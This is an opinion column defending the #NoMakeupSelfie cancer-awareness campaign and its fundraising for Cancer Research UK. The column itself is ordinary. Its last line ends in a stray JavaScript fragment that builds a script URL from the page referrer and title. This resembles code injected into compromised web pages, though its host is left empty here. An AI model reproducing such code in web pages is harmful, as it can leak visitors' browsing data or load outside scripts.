Spotlight On: No Makeup Selfies

By Sara Warden

In October 2013, Escentuals launched the Dare to Bare campaign, daring women to raise money for cancer charities by ditching the makeup. The company promised to donate £1 to cancer charities for the first 1000 women to upload a fresh faced snap to Twitter.

These are the origins of the #NoMakeupSelfie which has no doubt dominated your Facebook feed over the last few weeks. Thousands of women have used the idea as an awareness raising campaign for Cancer Research UK.

But in typical Facebook style, it is a move which has sparked endless debate. Sceptics ask: what does uploading a picture of your face actually do for Cancer Research? Why not donate money instead? And are the women participating really trying to say that ditching the make up for one well-angled selfie is the same as battling cancer?

The simple answer: of course not.

Yes, we could upload an infographic to our Facebook pages about how to check for the signs of breast cancer, but in reality how far would that actually spread?

I’m sorry, but the human brain is not wired that way. We don’t buy things because they’re good for us, we buy them because of clever advertising campaigns and celebrity endorsements.

We don’t traipse around every aisle in the supermarket, carefully examining every product. We pick up the strategically placed promo items on the end of the shelves for ease and because it has been proffered to us. If the supermarket has singled it out, it must be good, right?

And how many of us have actually stopped to talk to the masses of guys with the clipboards on Buchanan Street trying to get us to donate to their chosen charity or adopt a panda? Not many.

It’s white noise; we tune it out.

Which is why this innovative campaign is so significant.

In fact, when they upload their selfie, most women (and many men) have sent a small donation to Cancer Research. As a result, the charity have seen an “unprecedented” increase in text donations and over the last few weeks, over £8 million has been raised.

More than this, cancer survivors have also began to upload their own ‘naked selfies’ of their surgery scars and their beautiful baldness. This campaign has given a platform to these women to share their incredible stories. We are not saying we are as brave as these women, we are saying that we are behind them.

And in a world of machismo, bitchiness and vanity, anything that brings women together to empower each other is a great thing, is it not?

But essentially, it has gotten people talking and any good campaign is controversial.

The point that many seem to have missed is that an awareness raising campaign is designed to get people to discuss the issue, whether that be negative or positive.

And the very fact that people are sitting behind their keyboards typing toxic messages about the futility of the selfie campaign… Well, I hate to break it to you guys, but that means it’s working.

It may seem vain to some, but it’s certainly helping a hell of a lot more than sitting up on the proverbial high horse casting judgements. In fact, it’s even more arrogant to cry moral outrage over a campaign that is helping so many. If it’s raising money and awareness, who cares how?

So what does a make up free selfie have to do with cancer awareness? Nothing. But what did a pink ribbon have to do with breast cancer? What did a moustache have to do with prostate cancer?

The point is, if we all keep up the good work, this could be the start of something incredible.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;